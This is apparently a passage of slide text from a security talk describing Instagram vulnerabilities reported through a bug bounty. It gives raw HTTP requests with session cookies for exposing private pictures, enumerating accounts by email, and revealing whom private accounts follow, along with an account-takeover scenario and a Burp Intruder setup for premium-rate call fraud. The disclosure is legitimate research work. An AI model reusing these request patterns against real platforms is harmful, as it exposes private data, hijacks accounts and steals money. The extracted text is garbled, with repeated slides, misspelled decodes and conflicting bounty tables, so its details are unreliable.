WEB + MOBILE

5. Private Account Shared Pictures CSRF
   a) Find Private Account pictures image_id
   b) Find permalink of Shared Private Account picture

Request, sending the image ID of user victim14april along with a valid SessionID for user attacker14april:

```
GET /api/v1/media/962688807931708516_1111111111/permalink/ HTTP/1.1
Host: i.instagram.com
Connection: Keep-Alive
User-Agent: Instagram 6.18.0 Android (16/4.1.2; 240dpi; 480x800; samsung; GT-I9070; GT-I9070; samsungianice en_GB)
Cookie: ds_user_id=1834735739; igfl=attacker14april; sessionid=IGSC0f6bd9053f46af065661341b814c925257045e0281d091e666359a04d3958dc2%3ADu6NBOBd2pTprjihCDPCKyr3mKZS5ey%3A9B%22__auth_user_id%22%3A1834735739%2C%22_token%22%3A%221834735739%3A13mMDvmNScp7fU9zWP5I6obAXC4LH8%3A001e1a6209117adf855bf199c086ed571920a774485f49976236e9ae464e2e80%2C%22__auth_user_backend%22%3A%22accounts.backends.CaseInsensitiveModelBackend%22%2C%22last_refreshed%22%3A1428983171.329889%2C%22_t%22%3A1%2C%22_platform%22%3A1%7D;
```

Response, containing permalink for the private image:

```
HTTP/1.1 200 OK
(...SNIP...)
{"status":"ok","permalink":"https://Vinstagram.com/Vp/1cKF7KA4RkV"}"
```
WEB + MOBILE

5. Private Account Shared Pictures CSRF

a) Find Private Account pictures image_id
b) Find permalink of Shared Private Account picture

After reviewing the issue you have reported, we have decided to award you a bounty of $1000.
WEB + MOBILE

6. Email Address Account Enumeration

Confirm your email address for Instagram

Hi victim14april!

You updated your email address to instagarmtestuser@gmail.com. Confirm your email address to continue capturing and sharing your moments with the world.

Confirm Email Address
WEB + MOBILE

6. Email Address Account Enumeration

```
https://instagram.com/accounts/confirm_email/U2imNZjK/aW5zdGFncmFtcGVudGVzdHVzZXJAZ21haWwuY29t/?app_redirect=False

base64_d(aW5zdGFncmFtcGVudGVzdHVzZXJAZ21haWwuY29t): instagrempentestuser@gmail.com
```
WEB + MOBILE

6. Email Address Account Enumeration

https://instagram.com/accounts/confirm_email/U2imNZjK/aW5zdGFncmFtcGVudGVzdHVzZXJAZ21haWwuY29t/?app_redirect=False

base64_d(aW5zdGFncmFtcGVudGVzdHVzZXJAZ21haWwuY29t): instagrampentestuser@gmail.com
WEB + MOBILE

6. Email Address Account Enumeration

base64_e(mark.zuckerberg@facebook.com): bWFyay56dWNrZXJiZXJnQGZhY2Vib29rLmNvbQ

https://instagram.com/accounts/confirm_email/U2imNZjK/bWFyay56dWNrZXJiZXJnQGZhY2Vib29rLmNvbQ/?app_redirect=False
6. Email Address Account Enumeration

Request (note: no cookies, so no authentication necessary):

```
POST /api/v1/accounts/confirm_email/IOZ5TNJ2/bWFyay56dWNrZXJiZXJnQGZhY2Vib29rLmNvbQ/
Host: i.instagram.com
```

Response:

```
HTTP/1.1 200 OK

{"body":"Log in as themarkzuckerberg and follow the confirmation link again.","is_profile_action_needed":false,"status":"ok","title":"Please Log In"}
```
6. Email Address Account Enumeration

After reviewing the issue you have reported, we have decided to award you a bounty of $750 USD.
WEB + MOBILE

7. Account Takeover via Change Email Functionality

I forgot my password.

If you can't remember your password, you can reset it through your email address or your Facebook account. To reset your password, first tap **Forgot?** next to **Password** on the log in screen.

- To reset through your email address, tap **Username or Email**, enter your username or the email address you used to create your account and tap search. Choose **Send a Password Reset Email**.

- To reset through Facebook, tap **Reset using Facebook**. You may be asked to log into Facebook. You can then enter a new password for the Instagram account that was most recently **linked** to your Facebook account.

If you can't access the email you registered with and you didn't link your Instagram account to Facebook, we're not able to give you access to this account.
WEB + MOBILE

7. Account Takeover via Change Email Functionality

Spot the difference
WEB + MOBILE

7. Account Takeover via Change Email Functionality

Hi pentestingvictim!

You updated your email address to instagrampentesting2@gmail.com. Confirm your email address to continue capturing and sharing your moments with the world.

Confirm Email Address

If you didn’t change your Instagram email address, let us know.
WEB + MOBILE

7. Account Takeover via Change Email Functionality

Hi pentestingvictim,

The email on your Instagram account was changed from instagrupentesting1@gmail.com on 17:40 (PDT) on Thursday, April 23 2015.

Your new email: instagramtesting2@gmail.com

If you didn't do this, please secure your account.

- The Instagram team
WEB + MOBILE

7. Account Takeover via Change Email Functionality

![Image of Instagram account change email notification](https://instagram.com/accounts/disavow/xjo94i/OyYT1kWz/aW5zdGFncmFtcGVudGVzdGlubZFAZ21haWwuY29t/)

**Change Your Email?**

pentestingvictim

The email on your account was changed to instagrampentesting2@gmail.com

If this wasn’t you, you can secure your account. You may need to verify your account and reset your password before you can log in.

- [This Was Me](#)
- [Secure Account](#)
7. Account Takeover via Change Email Functionality

<table>
<thead>
<tr>
<th>Change Your Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>Change your password to make sure your account stays safe.</td>
</tr>
</tbody>
</table>

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>......</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>......</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>......</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Save

Instagram
7. Account Takeover via Change Email Functionality

<table>
<thead>
<tr>
<th>User</th>
<th>Email address(es)</th>
<th>Instagram account</th>
</tr>
</thead>
<tbody>
<tr>
<td>victim</td>
<td><a href="mailto:instagrampentesting1@gmail.com">instagrampentesting1@gmail.com</a></td>
<td>pentestingvictim</td>
</tr>
<tr>
<td>attacker</td>
<td><a href="mailto:Instagrampentesting2@gmail.com">Instagrampentesting2@gmail.com</a> <a href="mailto:Instagrampentesting3@gmail.com">Instagrampentesting3@gmail.com</a></td>
<td></td>
</tr>
</tbody>
</table>
7. **Account Takeover via Change Email Functionality**

Scenario: Assume temporary access for an attacker to victim session

- Man-in-the-Middle (before SSL Pinning)
- Cross-site Scripting Vulnerability
- Physical access to unlocked phone
WEB + MOBILE

7. Account Takeover via Change Email Functionality

<table>
<thead>
<tr>
<th>Victim Email</th>
<th>Attacker Email</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="mailto:Instagrampentesting1@gmail.com">Instagrampentesting1@gmail.com</a></td>
<td><a href="mailto:Instagrampentesting2@gmail.com">Instagrampentesting2@gmail.com</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Reclaim link</th>
<th>Currently owns victim account</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://instagram.com/accounts/disavow/xjo94i/OyYT1kWz/aW5zdGFncmFtcGVudGVzdGlwZzFAZ21haWwuY29t/">https://instagram.com/accounts/disavow/xjo94i/OyYT1kWz/aW5zdGFncmFtcGVudGVzdGlwZzFAZ21haWwuY29t/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://instagram.com/accounts/disavow/xjo94i/TmQBFjzk/aW5zdGFncmFtcGVudGVzdGlwZzJA21haWwuY29t/">https://instagram.com/accounts/disavow/xjo94i/TmQBFjzk/aW5zdGFncmFtcGVudGVzdGlwZzJA21haWwuY29t/</a></td>
<td></td>
</tr>
</tbody>
</table>
## WEB + MOBILE

### 7. Account Takeover via Change Email Functionality

<table>
<thead>
<tr>
<th></th>
<th>Victim</th>
<th>Attacker</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Email</strong></td>
<td><a href="mailto:Instagrampentesting1@gmail.com">Instagrampentesting1@gmail.com</a></td>
<td><a href="mailto:Instagrampentesting2@gmail.com">Instagrampentesting2@gmail.com</a></td>
</tr>
<tr>
<td><strong>Reclaim link</strong></td>
<td><a href="https://instagram.com/accounts/disavow/xjo94i/QyYT1kWz/aW5zdGFncmFtcGVudGVzdGluZzFAZ21haWwuY29t/">https://instagram.com/accounts/disavow/xjo94i/QyYT1kWz/aW5zdGFncmFtcGVudGVzdGluZzFAZ21haWwuY29t/</a></td>
<td><a href="https://instagram.com/accounts/disavow/xjo94i/TmQBFjzk/aW5zdGFncmFtcGVudGVzdGluZzJAZ21haWwuY29t/">https://instagram.com/accounts/disavow/xjo94i/TmQBFjzk/aW5zdGFncmFtcGVudGVzdGluZzJAZ21haWwuY29t/</a></td>
</tr>
</tbody>
</table>

Currently owns victim account
## 7. Account Takeover via Change Email Functionality

<table>
<thead>
<tr>
<th>Victim</th>
<th>Attacker</th>
</tr>
</thead>
<tbody>
<tr>
<td>Email</td>
<td><a href="mailto:Instagrampentesting1@gmail.com">Instagrampentesting1@gmail.com</a></td>
</tr>
<tr>
<td>Reclaim link</td>
<td><a href="https://instagram.com/accounts/disavow/xjo94i/QyYT1kWz/aW5zdGFncmFtcGVudGVzdGluZzFAZ21haWwuY29t/">https://instagram.com/accounts/disavow/xjo94i/QyYT1kWz/aW5zdGFncmFtcGVudGVzdGluZzFAZ21haWwuY29t/</a></td>
</tr>
</tbody>
</table>

Wins!
WEB + MOBILE

7. Account Takeover via Change Email Functionality

After reviewing the issue you have reported, we have decided to award you a bounty of $2000 USD.
8. Private Account Users Following

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><code>direct_v2/</code></td>
</tr>
<tr>
<td>2</td>
<td><code>discover/su_refill/</code></td>
</tr>
<tr>
<td>3</td>
<td><code>fbsearch/topsearch/</code></td>
</tr>
<tr>
<td>4</td>
<td><code>/hashtag/</code></td>
</tr>
<tr>
<td>5</td>
<td><code>/hide/</code></td>
</tr>
<tr>
<td>6</td>
<td><code>media/</code></td>
</tr>
<tr>
<td>7</td>
<td><code>/s/comment/bulk_delete/</code></td>
</tr>
<tr>
<td>8</td>
<td><code>/media_share/</code></td>
</tr>
<tr>
<td></td>
<td><code>/profile/</code></td>
</tr>
</tbody>
</table>
8. Private Account Users Following

```
package com.instagram.android.feed.b.a;

import com.b.a.a.k;

public final class c extends c<<
{
  private final com.instagram.user.e.a a;
  private final int b;

  public c(com.instagram.user.e.a param)
  {
    this.a = param;
    this.b = 5;
  }

  private static be b(k paramk)
  {
    return bf.o(paramk);
  }

  protected final String a()
  {
    return "discover/su_refill/";
  }

  public final void a(b paramb)
  {
    paramb.a("target_id", this.a.a(), o());
    paramb.a("num", String.valueOf(this.b));
  }

  public final int b()
  {
    return com.instagram.common.e.b.a.s;
  }
```

8. Private Account Users Following

GET /api/v1/discover/su_refill/?target_id=2036044526 HTTP/1.1
Host: i.instagram.com
Connection: Keep-Alive
Cookie:

```plaintext
sessionid=IGSCd064c22cd43d17a15dca6bc3a903cb18e8f9e292a859c9d1289ba268103ee563%3A1WJvjHstqAnPj0i5dcjVRpgcn3wCRQgk%3A%7B%22_token_ver%22%3A1%2C%22_auth_user_id%22%3A2028428082%2C%22_token%22%3A%22%3A%22028428082%3AYeZzCYWQLGD8D7d3NzFlbBiWIYJVVa7G%3A078ae8d72b72846a6431945fd59c38f1b04b8f93dd6ec4b20165693e65b21915%22%2C%22_auth_user_backend%22%3A%22accounts.backends.CaseInsensitiveModelBackend%22%2C%22last_refreshed%22%3A1441031445.81182%2C%22_platform%22%3A1%7D; ds_user=pentestingvictim
```
8. Private Account Users Following

HTTP/1.1 200 OK
(...SNIP...)
{
    "status": "ok",
    "items": [
        {
            "caption": "",
            "social_context": "Based on follows",
            "user": {
                "username": "springsteen",
                "has_anonymous_profile_picture": false,
                "profile_pic_url": "http://scontent-ams2-1.cdninstagram.com/hphotos-xfa1\vt51.2885-19\v11370983_1020871741276370_1099684925_a.jpg",
                "full_name": "Bruce Springsteen",
                "pk": "517058514",
                "is_verified": true,
                "is_private": false
            }
        },
        {
            "algorithm": "chaining_refill_algorithm",
            "thumbnail_urls": ["http://scontent-ams2-1.cdninstagram.com/hphotos-xfa1\vt51.2885-15\vs150x150\ve35\v11373935_872054516217170_419659415_n.jpg"]
        }
    ]
}
8. Private Account Users Following

```json
{
    "caption": "",
    "social_context": "Based on follows",
    "user": {
        "username": "pentesttest",
        "has_anonymous_profile_picture": true,
        "profile_pic_url": "http:\/\/images.ak.instagram.com\profiles\/anonymousUser.jpg",
        "full_name": "rest",
        "pk": "1966431878",
        "is_verified": false,
        "is_private": true
    },
    "algorithm": "chaining_refill_algorithm",
    "thumbnail_urls": [],
    "large_urls": [],
    "media_infos": [],
    "media_ids": [],
    "icon": ""
}
```
8. Private Account Users Following

```json
{
  "caption": "",
  "social_context": "Based on follows",
  "user": {
    "username": "pentesttest",
    "has_anonymous_profile_picture": true,
    "profile_pic_url": "http://images.ak.instagram.com/profiles/anonymousUser.jpg",
    "full_name": "rest",
    "pk": "1966431878",
    "is_verified": false,
    "is_private": true
  },
  "algorithm": "chaining_refill_algorithm",
  "thumbnail_urls": [],
  "large_urls": [],
  "media_infos": [],
  "media_ids": [],
  "icon": ""
}
```
After reviewing the issue you have reported, we have decided to award you a bounty of $2,500 USD.
9. Steal Money Through Premium Rate Phone Numbers
9. Steal Money Through Premium Rate Phone Numbers
MOBILE

9. Steal Money Through Premium Rate Phone Numbers

- Use 618927 to verify your Instagram account.
- Use 958061 to verify your Instagram account.
- Use 158402 to verify your Instagram account.
- Use 507 862 to verify your Instagram account.
- Use 507 862 to verify your Instagram account.
9. Steal Money Through Premium Rate Phone Numbers
9. Steal Money Through Premium Rate Phone Numbers
9. Steal Money Through Premium Rate Phone Numbers

- Payload Sets
  - You can define one or more payload sets. The number of payload sets, each payload set, and each payload type can be customized in different
  - Payload set: 1
  - Payload count: 60
  - Payload type: Numbers
  - Request count: 60

- Payload Options [Numbers]
  - This payload type generates numeric payloads within a given range and
  - Number range
    - Type: Sequential Random
    - From: 1
    - To: 60
    - Step: 1
    - How many: 

- Request Headers
  - These settings control whether Intruder updates the content
    - Update Content-Length header
    - Set Connection: close

- Request Engine
  - These settings control the engine used for making HTTP
    - Number of threads: 5
    - Number of retries on network failure: 3
    - Pause before retry (milliseconds): 2000
    - Throttle (milliseconds): Fixed 30000
9. **Steal Money Through Premium Rate Phone Numbers**

![Calls statistics screenshot from Eurocall24](https://www.eurocall24.com/index.php?r=statistics%2Findex&fastSelectTime=&fromDate=2015-09-05&toDate=2015-09-05&yt= allegation)

**Calls statistics**

<table>
<thead>
<tr>
<th>Range / Number</th>
<th>Payout</th>
<th>Calls</th>
<th>Total (min.)</th>
<th>Total payout</th>
<th>Avg. (min.)</th>
<th>Last call</th>
</tr>
</thead>
<tbody>
<tr>
<td>4474183xxxx</td>
<td>0.0600 GBP / Min.</td>
<td>61</td>
<td>17:21</td>
<td>1.04 GBP</td>
<td>0:17</td>
<td>2015-09-05 17:58:30</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td></td>
<td>61</td>
<td>17:21</td>
<td>1.04 GBP</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
9. **Steal Money Through Premium Rate Phone Numbers**

This is intentional behavior in our product. We do not consider it a security vulnerability, but we do have controls in place to monitor and mitigate abuse.
9. Steal Money Through Premium Rate Phone Numbers

This is intentional behavior in our product. We do not consider it a security vulnerability, but we do have controls in place to monitor and mitigate abuse.
9. Steal Money Through Premium Rate Phone Numbers

This is intentional behavior in our product. We do not consider it a security vulnerability, but we do have controls in place to monitor and mitigate abuse.
9. Steal Money Through Premium Rate Phone Numbers

<table>
<thead>
<tr>
<th></th>
<th>1 account</th>
<th>100 accounts</th>
</tr>
</thead>
<tbody>
<tr>
<td>$2 / h</td>
<td>$200 / h</td>
<td></td>
</tr>
<tr>
<td>$48 / day</td>
<td>$4.800 / day</td>
<td></td>
</tr>
<tr>
<td>$1.440 / month</td>
<td>$144.000 / month</td>
<td></td>
</tr>
</tbody>
</table>
Hello again! We'll be doing some fine-tuning of our rate limits and work on the service used for outbound calls in response to this submission, so this issue will be eligible for a whitehat bounty. You can expect an update from us again when the changes have been made. Thanks!

...

After reviewing the issue you have reported, we have decided to award you a bounty of $2000 USD.
CONCLUSION
## CONCLUSION

<table>
<thead>
<tr>
<th>#</th>
<th>Vulnerability</th>
<th>Category</th>
<th>Bounty</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Instagram.com Subdomain Hijacking on Local Network</td>
<td>Infrastructure</td>
<td>$0</td>
</tr>
<tr>
<td>2</td>
<td>Employee Email Authentication Brute-Force Lockout</td>
<td>Infrastructure</td>
<td>$0</td>
</tr>
<tr>
<td>3</td>
<td>Public Profile Tabnabbing</td>
<td>Web</td>
<td>$0</td>
</tr>
<tr>
<td>4</td>
<td>Web Server Directory Enumeration</td>
<td>Web</td>
<td>$500</td>
</tr>
<tr>
<td>5</td>
<td>Private Account Shared Pictures Token Entropy</td>
<td>Hybrid</td>
<td>$1000</td>
</tr>
<tr>
<td>6</td>
<td>Private Account Shared Pictures CSRF</td>
<td>Hybrid</td>
<td>$1000</td>
</tr>
<tr>
<td>7</td>
<td>Email Address Account Enumeration</td>
<td>Hybrid</td>
<td>$750</td>
</tr>
<tr>
<td>8</td>
<td>Account Takeover via Change Email Functionality</td>
<td>Hybrid</td>
<td>$2000</td>
</tr>
<tr>
<td>9</td>
<td>Private Account Users Following</td>
<td>Mobile</td>
<td>$2500</td>
</tr>
<tr>
<td>10</td>
<td>Steal Money Through Premium Rate Phone Numbers</td>
<td>Mobile</td>
<td>$2000 + 1</td>
</tr>
<tr>
<td></td>
<td><strong>Total</strong></td>
<td></td>
<td><strong>$9750 + 1</strong></td>
</tr>
</tbody>
</table>
## Conclusion

<table>
<thead>
<tr>
<th>#</th>
<th>Vulnerability</th>
<th>Category</th>
<th>Bounty</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Instagram.com Subdomain Hijacking on Local Network</td>
<td>Infrastructure</td>
<td>$0</td>
</tr>
<tr>
<td>2</td>
<td>Employee Email Authentication Brute-Force Lockout</td>
<td>Infrastructure</td>
<td>$0</td>
</tr>
<tr>
<td>3</td>
<td>Public Profile Tabnabbing</td>
<td>Web</td>
<td>$0</td>
</tr>
<tr>
<td>4</td>
<td>Web Server Directory Enumeration</td>
<td>Web</td>
<td>$1000</td>
</tr>
<tr>
<td>5</td>
<td>Private Account Shared Pictures Token Entropy</td>
<td>Hybrid</td>
<td>$1000</td>
</tr>
<tr>
<td>6</td>
<td>Private Account Shared Pictures CSRF</td>
<td>Hybrid</td>
<td>$2000</td>
</tr>
<tr>
<td>7</td>
<td>Email Address Account Enumeration</td>
<td>Hybrid</td>
<td>$1500</td>
</tr>
<tr>
<td>8</td>
<td>Account Takeover via Change Email Functionality</td>
<td>Hybrid</td>
<td>$2000</td>
</tr>
<tr>
<td>9</td>
<td>Private Account Users Following</td>
<td>Mobile</td>
<td>$2500</td>
</tr>
<tr>
<td>10</td>
<td>Steal Money Through Premium Rate Phone Numbers</td>
<td>Mobile</td>
<td>$4000 + 1</td>
</tr>
<tr>
<td></td>
<td><strong>Total</strong></td>
<td></td>
<td><strong>$14000 + 1</strong></td>
</tr>
</tbody>
</table>

https://www.letuschange.net
CONCLUSION

SDLC Mapping Summary

- Development (6) 50%
- Design (5) 42%
- Maintenance (1) 8%
CONCLUSION

KEEP CALM AND TRY HARDER

KEEP CALM AND BE PATIENT

KEEP CALM AND BE RESPONSIBLE

Hunting  Reporting  Disclosing
## CONCLUSION

<table>
<thead>
<tr>
<th>#</th>
<th>Vulnerability</th>
<th>Category</th>
<th>Bounty</th>
</tr>
</thead>
<tbody>
<tr>
<td>10</td>
<td>XXXX</td>
<td>Mobile</td>
<td>?</td>
</tr>
<tr>
<td>11</td>
<td>XXXX</td>
<td>Mobile</td>
<td>?</td>
</tr>
<tr>
<td>12</td>
<td>XXXX</td>
<td>Mobile</td>
<td>?</td>
</tr>
<tr>
<td>13</td>
<td>XXXX</td>
<td>Web</td>
<td>?</td>
</tr>
<tr>
<td>14</td>
<td>XXXX</td>
<td>Infrastructure</td>
<td>?</td>
</tr>
<tr>
<td></td>
<td><strong>Total</strong></td>
<td></td>
<td><strong>?</strong></td>
</tr>
</tbody>
</table>
THANK YOU!
ANY QUESTIONS?